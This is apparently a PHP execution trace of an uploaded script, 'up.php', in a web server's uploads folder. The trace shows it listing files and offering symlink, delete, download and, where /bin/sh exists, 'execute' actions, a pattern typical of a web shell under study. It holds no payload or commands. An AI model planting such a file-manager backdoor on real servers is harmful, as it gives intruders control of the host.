4	340	0	0.017220	801920	sizeof	0		/var/www/html/uploads/up.php	1245	1	[0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']]
4	340	1	0.017291	801952
4	340	R			6
3		A						/var/www/html/uploads/up.php	1246	$file = ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']
4	341	0	0.017332	801920	date	0		/var/www/html/uploads/up.php	1248	2	'n/j/y H:i:s'	1676252825
4	341	1	0.017364	802248
4	341	R			'2/12/23 20:47:05'
3		A						/var/www/html/uploads/up.php	1248	$timestamps = 'mtime: 2/12/23 20:47:05, '
4	342	0	0.017391	801864	date	0		/var/www/html/uploads/up.php	1249	2	'n/j/y H:i:s'	1676252825
4	342	1	0.017421	802192
4	342	R			'2/12/23 20:47:05'
3		A						/var/www/html/uploads/up.php	1249	$timestamps .= 'atime: 2/12/23 20:47:05, '
4	343	0	0.017447	801888	date	0		/var/www/html/uploads/up.php	1250	2	'n/j/y H:i:s'	1676252825
4	343	1	0.017477	802216
4	343	R			'2/12/23 20:47:05'
3		A						/var/www/html/uploads/up.php	1250	$timestamps .= 'ctime: 2/12/23 20:47:05'
4	344	0	0.017502	802112	html	1		/var/www/html/uploads/up.php	1254	1	'mtime: 2/12/23 20:47:05, atime: 2/12/23 20:47:05, ctime: 2/12/23 20:47:05'
5	345	0	0.017517	802112	htmlentities	0		/var/www/html/uploads/up.php	1589	3	'mtime: 2/12/23 20:47:05, atime: 2/12/23 20:47:05, ctime: 2/12/23 20:47:05'	2	'ISO-8859-1'
5	345	1	0.017534	802416
5	345	R			'mtime: 2/12/23 20:47:05, atime: 2/12/23 20:47:05, ctime: 2/12/23 20:47:05'
4	344	1	0.017550	802304
4	344	R			'mtime: 2/12/23 20:47:05, atime: 2/12/23 20:47:05, ctime: 2/12/23 20:47:05'
4	346	0	0.017662	801920	substr	0		/var/www/html/uploads/up.php	1285	3	'.htaccess'	0	1
4	346	1	0.017678	802016
4	346	R			'.'
4	347	0	0.017693	801984	urlencode	0		/var/www/html/uploads/up.php	1292	1	'/var/www/html/uploads/.htaccess'
4	347	1	0.017706	802096
4	347	R			'%2Fvar%2Fwww%2Fhtml%2Fuploads%2F.htaccess'
4	348	0	0.017723	802032	html	1		/var/www/html/uploads/up.php	1292	1	'.htaccess'
5	349	0	0.017736	802032	htmlentities	0		/var/www/html/uploads/up.php	1589	3	'.htaccess'	2	'ISO-8859-1'
5	349	1	0.017751	802304
5	349	R			'.htaccess'
4	348	1	0.017765	802192
4	348	R			'.htaccess'
3		A						/var/www/html/uploads/up.php	1302	$human = ''
4	350	0	0.017791	801880	decoct	0		/var/www/html/uploads/up.php	1311	1	33188
4	350	1	0.017804	801952
4	350	R			'100644'
4	351	0	0.017823	801880	function_exists	0		/var/www/html/uploads/up.php	1313	1	'posix_getuid'
4	351	1	0.017837	801920
4	351	R			TRUE
4	352	0	0.017850	801880	posix_getuid	0		/var/www/html/uploads/up.php	1313	0
4	352	1	0.017862	801880
4	352	R			33
3		A						/var/www/html/uploads/up.php	1313	$l = FALSE
4	353	0	0.017885	801880	permission_octal2string	1		/var/www/html/uploads/up.php	1315	1	33188
4		A						/var/www/html/uploads/up.php	961	$type = '-'
4		A						/var/www/html/uploads/up.php	974	$owner = 'r'
4		A						/var/www/html/uploads/up.php	975	$owner .= 'w'
4		A						/var/www/html/uploads/up.php	979	$owner .= '-'
4		A						/var/www/html/uploads/up.php	982	$group = 'r'
4		A						/var/www/html/uploads/up.php	983	$group .= '-'
4		A						/var/www/html/uploads/up.php	987	$group .= '-'
4		A						/var/www/html/uploads/up.php	990	$other = 'r'
4		A						/var/www/html/uploads/up.php	991	$other .= '-'
4		A						/var/www/html/uploads/up.php	995	$other .= '-'
4	353	1	0.017998	801920
4	353	R			'-rw-r--r--'
4	354	0	0.018012	801920	html	1		/var/www/html/uploads/up.php	1315	1	'-rw-r--r--'
5	355	0	0.018024	801920	htmlentities	0		/var/www/html/uploads/up.php	1589	3	'-rw-r--r--'	2	'ISO-8859-1'
5	355	1	0.018039	802192
5	355	R			'-rw-r--r--'
4	354	1	0.018053	802080
4	354	R			'-rw-r--r--'
4	356	0	0.018067	801880	array_key_exists	0		/var/www/html/uploads/up.php	1320	2	'owner_name'	['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']
4	356	1	0.018097	801944
4	356	R			TRUE
4	357	0	0.018111	801880	array_key_exists	0		/var/www/html/uploads/up.php	1326	2	'group_name'	['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']
4	357	1	0.018139	801944
4	357	R			TRUE
4	358	0	0.018153	801976	html	1		/var/www/html/uploads/up.php	1335	1	'/var/www/html/uploads/.htaccess'
5	359	0	0.018166	801976	htmlentities	0		/var/www/html/uploads/up.php	1589	3	'/var/www/html/uploads/.htaccess'	2	'ISO-8859-1'
5	359	1	0.018181	802248
5	359	R			'/var/www/html/uploads/.htaccess'
4	358	1	0.018197	802136
4	358	R			'/var/www/html/uploads/.htaccess'
3		A						/var/www/html/uploads/up.php	1338	$actions = []
4	360	0	0.018232	801504	function_exists	0		/var/www/html/uploads/up.php	1339	1	'symlink'
4	360	1	0.018252	801544
4	360	R			TRUE
3		A						/var/www/html/uploads/up.php	1340	$actions[] = 'create_symlink'
4	361	0	0.018290	801880	dirname	0		/var/www/html/uploads/up.php	1342	1	'/var/www/html/uploads/.htaccess'
4	361	1	0.018310	801968
4	361	R			'/var/www/html/uploads'
4	362	0	0.018333	801936	is_writable	0		/var/www/html/uploads/up.php	1342	1	'/var/www/html/uploads'
4	362	1	0.018360	801976
4	362	R			TRUE
3		A						/var/www/html/uploads/up.php	1343	$actions[] = 'delete'
3		A						/var/www/html/uploads/up.php	1344	$actions[] = 'rename'
3		A						/var/www/html/uploads/up.php	1345	$actions[] = 'move'
3		A						/var/www/html/uploads/up.php	1348	$actions[] = 'copy'
3		A						/var/www/html/uploads/up.php	1349	$actions[] = 'download'
4	363	0	0.018462	801880	function_exists	0		/var/www/html/uploads/up.php	1352	1	'exec'
4	363	1	0.018482	801920
4	363	R			TRUE
4	364	0	0.018502	801880	sizeof	0		/var/www/html/uploads/up.php	1356	1	[0 => 'create_symlink', 1 => 'delete', 2 => 'rename', 3 => 'move', 4 => 'copy', 5 => 'download']
4	364	1	0.018529	801912
4	364	R			6
4	365	0	0.018550	801976	str_repeat	0		/var/www/html/uploads/up.php	1359	2	'&nbsp;'	30
4	365	1	0.018570	802264
4	365	R			'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'
4	366	0	0.018596	801944	word	1		/var/www/html/uploads/up.php	1363	1	'create_symlink'
5	367	0	0.018617	801944	htmlentities	0		/var/www/html/uploads/up.php	1594	3	'create symlink'	2	'ISO-8859-1'
5	367	1	0.018640	802216
5	367	R			'create symlink'
4	366	1	0.018662	802104
4	366	R			'create symlink'
4	368	0	0.018685	801936	word	1		/var/www/html/uploads/up.php	1363	1	'delete'
5	369	0	0.018704	801936	htmlentities	0		/var/www/html/uploads/up.php	1594	3	'delete'	2	'ISO-8859-1'
5	369	1	0.018733	802208
5	369	R			'delete'
4	368	1	0.018754	802096
4	368	R			'delete'
4	370	0	0.018785	801936	word	1		/var/www/html/uploads/up.php	1363	1	'rename'
5	371	0	0.018803	801936	htmlentities	0		/var/www/html/uploads/up.php	1594	3	'rename'	2	'ISO-8859-1'
5	371	1	0.018825	802208
5	371	R			'rename'
4	370	1	0.018846	802096
4	370	R			'rename'
4	372	0	0.018867	801928	word	1		/var/www/html/uploads/up.php	1363	1	'move'
5	373	0	0.018886	801928	htmlentities	0		/var/www/html/uploads/up.php	1594	3	'move'	2	'ISO-8859-1'
5	373	1	0.018907	802200
5	373	R			'move'
4	372	1	0.018927	802088
4	372	R			'move'
4	374	0	0.018948	801928	word	1		/var/www/html/uploads/up.php	1363	1	'copy'
5	375	0	0.018966	801928	htmlentities	0		/var/www/html/uploads/up.php	1594	3	'copy'	2	'ISO-8859-1'
5	375	1	0.018987	802200
5	375	R			'copy'
4	374	1	0.019007	802088
4	374	R			'copy'
4	376	0	0.019027	801936	word	1		/var/www/html/uploads/up.php	1363	1	'download'
5	377	0	0.019046	801936	htmlentities	0		/var/www/html/uploads/up.php	1594	3	'download'	2	'ISO-8859-1'
5	377	1	0.019067	802208
5	377	R			'download'
4	376	1	0.019088	802096
4	376	R			'download'
3		A						/var/www/html/uploads/up.php	1245	$i++
4	378	0	0.019126	801880	sizeof	0		/var/www/html/uploads/up.php	1245	1	[0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']]
4	378	1	0.019224	801912
4	378	R			6
3		A						/var/www/html/uploads/up.php	1246	$file = ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4	379	0	0.019284	801880	date	0		/var/www/html/uploads/up.php	1248	2	'n/j/y H:i:s'	1676252825
4	379	1	0.019329	802208
4	379	R			'2/12/23 20:47:05'
3		A						/var/www/html/uploads/up.php	1248	$timestamps = 'mtime: 2/12/23 20:47:05, '
4	380	0	0.019371	801824	date	0		/var/www/html/uploads/up.php	1249	2	'n/j/y H:i:s'	1676252825
4	380	1	0.019412	802152
4	380	R			'2/12/23 20:47:05'
3		A						/var/www/html/uploads/up.php	1249	$timestamps .= 'atime: 2/12/23 20:47:05, '
4	381	0	0.019453	801848	date	0		/var/www/html/uploads/up.php	1250	2	'n/j/y H:i:s'	1676252825
4	381	1	0.019493	802176
4	381	R			'2/12/23 20:47:05'
3		A						/var/www/html/uploads/up.php	1250	$timestamps .= 'ctime: 2/12/23 20:47:05'
4	382	0	0.019534	802072	html	1		/var/www/html/uploads/up.php	1254	1	'mtime: 2/12/23 20:47:05, atime: 2/12/23 20:47:05, ctime: 2/12/23 20:47:05'
5	383	0	0.019555	802072	htmlentities	0		/var/www/html/uploads/up.php	1589	3	'mtime: 2/12/23 20:47:05, atime: 2/12/23 20:47:05, ctime: 2/12/23 20:47:05'	2	'ISO-8859-1'
5	383	1	0.019580	802376
5	383	R			'mtime: 2/12/23 20:47:05, atime: 2/12/23 20:47:05, ctime: 2/12/23 20:47:05'
4	382	1	0.019603	802264
4	382	R			'mtime: 2/12/23 20:47:05, atime: 2/12/23 20:47:05, ctime: 2/12/23 20:47:05'
4	384	0	0.019625	801880	substr	0		/var/www/html/uploads/up.php	1285	3	'prepend.php'	0	1
4	384	1	0.019642	801976
4	384	R			'p'
4	385	0	0.019657	801944	urlencode	0		/var/www/html/uploads/up.php	1292	1	'/var/www/html/uploads/prepend.php'
4	385	1	0.019671	802056
4	385	R			'%2Fvar%2Fwww%2Fhtml%2Fuploads%2Fprepend.php'
4	386	0	0.019689	801992	html	1		/var/www/html/uploads/up.php	1292	1	'prepend.php'
5	387	0	0.019701	801992	htmlentities	0		/var/www/html/uploads/up.php	1589	3	'prepend.php'	2	'ISO-8859-1'
5	387	1	0.019716	802264
5	387	R			'prepend.php'
4	386	1	0.019731	802152
4	386	R			'prepend.php'
3		A						/var/www/html/uploads/up.php	1302	$human = ''
4	388	0	0.019757	801880	decoct	0		/var/www/html/uploads/up.php	1311	1	33261
4	388	1	0.019770	801952
4	388	R			'100755'
4	389	0	0.019785	801880	function_exists	0		/var/www/html/uploads/up.php	1313	1	'posix_getuid'
4	389	1	0.019798	801920
4	389	R			TRUE
4	390	0	0.019812	801880	posix_getuid	0		/var/www/html/uploads/up.php	1313	0
4	390	1	0.019834	801880
4	390	R			33
3		A						/var/www/html/uploads/up.php	1313	$l = FALSE
4	391	0	0.019857	801880	permission_octal2string	1		/var/www/html/uploads/up.php	1315	1	33261
4		A						/var/www/html/uploads/up.php	961	$type = '-'
4		A						/var/www/html/uploads/up.php	974	$owner = 'r'
4		A						/var/www/html/uploads/up.php	975	$owner .= 'w'
4		A						/var/www/html/uploads/up.php	979	$owner .= 'x'
4		A						/var/www/html/uploads/up.php	982	$group = 'r'
4		A						/var/www/html/uploads/up.php	983	$group .= '-'
4		A						/var/www/html/uploads/up.php	987	$group .= 'x'
4		A						/var/www/html/uploads/up.php	990	$other = 'r'
4		A						/var/www/html/uploads/up.php	991	$other .= '-'
4		A						/var/www/html/uploads/up.php	995	$other .= 'x'
4	391	1	0.019972	801920
4	391	R			'-rwxr-xr-x'
4	392	0	0.019987	801920	html	1		/var/www/html/uploads/up.php	1315	1	'-rwxr-xr-x'
5	393	0	0.019999	801920	htmlentities	0		/var/www/html/uploads/up.php	1589	3	'-rwxr-xr-x'	2	'ISO-8859-1'
5	393	1	0.020014	802192
5	393	R			'-rwxr-xr-x'
4	392	1	0.020028	802080
4	392	R			'-rwxr-xr-x'
4	394	0	0.020042	801880	array_key_exists	0		/var/www/html/uploads/up.php	1320	2	'owner_name'	['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4	394	1	0.020074	801944
4	394	R			TRUE
4	395	0	0.020088	801880	array_key_exists	0		/var/www/html/uploads/up.php	1326	2	'group_name'	['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4	395	1	0.020116	801944
4	395	R			TRUE
4	396	0	0.020131	801976	html	1		/var/www/html/uploads/up.php	1335	1	'/var/www/html/uploads/prepend.php'
5	397	0	0.020144	801976	htmlentities	0		/var/www/html/uploads/up.php	1589	3	'/var/www/html/uploads/prepend.php'	2	'ISO-8859-1'
5	397	1	0.020160	802248
5	397	R			'/var/www/html/uploads/prepend.php'
4	396	1	0.020176	802136
4	396	R			'/var/www/html/uploads/prepend.php'
3		A						/var/www/html/uploads/up.php	1338	$actions = []
4	398	0	0.020202	801504	function_exists	0		/var/www/html/uploads/up.php	1339	1	'symlink'
4	398	1	0.020216	801544
4	398	R			TRUE
3		A						/var/www/html/uploads/up.php	1340	$actions[] = 'create_symlink'
4	399	0	0.020242	801880	dirname	0		/var/www/html/uploads/up.php	1342	1	'/var/www/html/uploads/prepend.php'
4	399	1	0.020255	801976
4	399	R			'/var/www/html/uploads'
4	400	0	0.020271	801944	is_writable	0		/var/www/html/uploads/up.php	1342	1	'/var/www/html/uploads'
4	400	1	0.020299	801984
4	400	R			TRUE
3		A						/var/www/html/uploads/up.php	1343	$actions[] = 'delete'
3		A						/var/www/html/uploads/up.php	1344	$actions[] = 'rename'
3		A						/var/www/html/uploads/up.php	1345	$actions[] = 'move'
3		A						/var/www/html/uploads/up.php	1348	$actions[] = 'copy'
3		A						/var/www/html/uploads/up.php	1349	$actions[] = 'download'
4	401	0	0.020373	801880	function_exists	0		/var/www/html/uploads/up.php	1352	1	'exec'
4	401	1	0.020390	801920
4	401	R			TRUE
4	402	0	0.020404	801880	file_exists	0		/var/www/html/uploads/up.php	1352	1	'/bin/sh'
4	402	1	0.020426	801920
4	402	R			TRUE
3		A						/var/www/html/uploads/up.php	1353	$actions[] = 'execute'
4	403	0	0.020450	801880	sizeof	0		/var/www/html/uploads/up.php	1356	1	[0 => 'create_symlink', 1 => 'delete', 2 => 'rename', 3 => 'move', 4 => 'copy', 5 => 'download', 6 => 'execute']
4	403	1	0.020469	801912
4	403	R			7
4	404	0	0.020483	801976	str_repeat	0		/var/www/html/uploads/up.php	1359	2	'&nbsp;'	30
4	404	1	0.020498	802264
4	404	R			'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'
4	405	0	0.020515	801944	word	1		/var/www/html/uploads/up.php	1363	1	'create_symlink'
5	406	0	0.020528	801944	htmlentities	0		/var/www/html/uploads/up.php	1594	3	'create symlink'	2	'ISO-8859-1'
5	406	1	0.020544	802216
5	406	R			'create symlink'
4	405	1	0.020559	802104
4	405	R			'create symlink'
4	407	0	0.020574	801936	word	1		/var/www/html/uploads/up.php	1363	1	'delete'
5	408	0	0.020587	801936	htmlentities	0		/var/www/html/uploads/up.php	1594	3	'delete'	2	'ISO-8859-1'
5	408	1	0.020606	802208
5	408	R			'delete'
4	407	1	0.020620	802096
4	407	R			'delete'
4	409	0	0.020635	801936	word	1		/var/www/html/uploads/up.php	1363	1	'rename'
5	410	0	0.020648	801936	htmlentities	0		/var/www/html/uploads/up.php	1594	3	'rename'	2	'ISO-8859-1'
5	410	1	0.020662	802208
5	410	R			'rename'
4	409	1	0.020676	802096
4	409	R			'rename'
4	411	0	0.020690	801928	word	1		/var/www/html/uploads/up.php	1363	1	'move'
5	412	0	0.020703	801928	htmlentities	0		/var/www/html/uploads/up.php	1594	3	'move'	2	'ISO-8859-1'
5	412	1	0.020717	802200
5	412	R			'move'
4	411	1	0.020731	802088
4	411	R			'move'
4	413	0	0.020744	801928	word	1		/var/www/html/uploads/up.php	1363	1	'copy'
5	414	0	0.020757	801928	htmlentities	0		/var/www/html/uploads/up.php	1594	3	'copy'	2	'ISO-8859-1'
5	414	1	0.020771	802200
5	414	R			'copy'
4	413	1	0.020784	802088
4	413	R			'copy'
4	415	0	0.020798	801936	word	1		/var/www/html/uploads/up.php	1363	1	'download'
5	416	0	0.020811	801936	htmlentities	0		/var/www/html/uploads/up.php	1594	3	'download'	2	'ISO-8859-1'
5	416	1	0.020825	802208
5	416	R			'download'
4	415	1	0.020839	802096
4	415	R			'download'
4	417	0	0.020873	801936	word	1		/var/www/html/uploads/up.php	1363	1	'execute'
5	418	0	0.020888	801936	htmlentities	0		/var/www/html/uploads/up.php	1594	3	'execute'	2	'ISO-8859-1'
5	418	1	0.020903	802208
5	418	R			'execute'
4	417	1	0.020916	802096
4	417	R			'execute'
3		A						/var/www/html/uploads/up.php	1245	$i++
4	419	0	0.020941	801880	sizeof	0		/var/www/html/uploads/up.php	1245	1	[0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']]
4	419	1	0.021016	801912
4	419	R			6
3		A						/var/www/html/uploads/up.php	1246	$file = ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']
4	420	0	0.021057	801880	date	0		/var/www/html/uploads/up.php	1248	2	'n/j/y H:i:s'	1676252825
4	420	1	0.021090	802208
4	420	R			'2/12/23 20:47:05'
3		A						/var/www/html/uploads/up.php	1248	$timestamps = 'mtime: 2/12/23 20:47:05, '
4	421	0	0.021117	801824	date	0		/var/www/html/uploads/up.php	1249	2	'n/j/y H:i:s'	1676252825
4	421	1	0.021147	802152
4	421	R			'2/12/23 20:47:05'
3		A						/var/www/html/uploads/up.php	1249	$timestamps .= 'atime: 2/12/23 20:47:05, '
4	422	0	0.021174	801848	date	0		/var/www/html/uploads/up.php	1250	2	'n/j/y H:i:s'	1676252825
4	422	1	0.021204	802176
4	422	R			'2/12/23 20:47:05'
3		A						/var/www/html/uploads/up.php	1250	$timestamps .= 'ctime: 2/12/23 20:47:05'
4	423	0	0.021230	802072	html	1		/var/www/html/uploads/up.php	1254	1	'mtime: 2/12/23 20:47:05, atime: 2/12/23 20:47:05, ctime: 2/12/23 20:47:05'
5	424	0	0.021244	802072	htmlentities	0		/var/www/html/uploads/up.php	1589	3	'mtime: 2/12/23 20:47:05, atime: 2/12/23 20:47:05, ctime: 2/12/23 20:47:05'	2	'ISO-8859-1'
5	424	1	0.021262	802376
5	424	R			'mtime: 2/12/23 20:47:05, atime: 2/12/23 20:47:05, ctime: 2/12/23 20:47:05'
4	423	1	0.021278	802264
4	423	R			'mtime: 2/12/23 20:47:05, atime: 2/12/23 20:47:05, ctime: 2/12/23 20:47:05'
4	425	0	0.021294	801880	substr	0		/var/www/html/uploads/up.php	1285	3	'up.php'	0	1
4	425	1	0.021309	801976
4	425	R			'u'
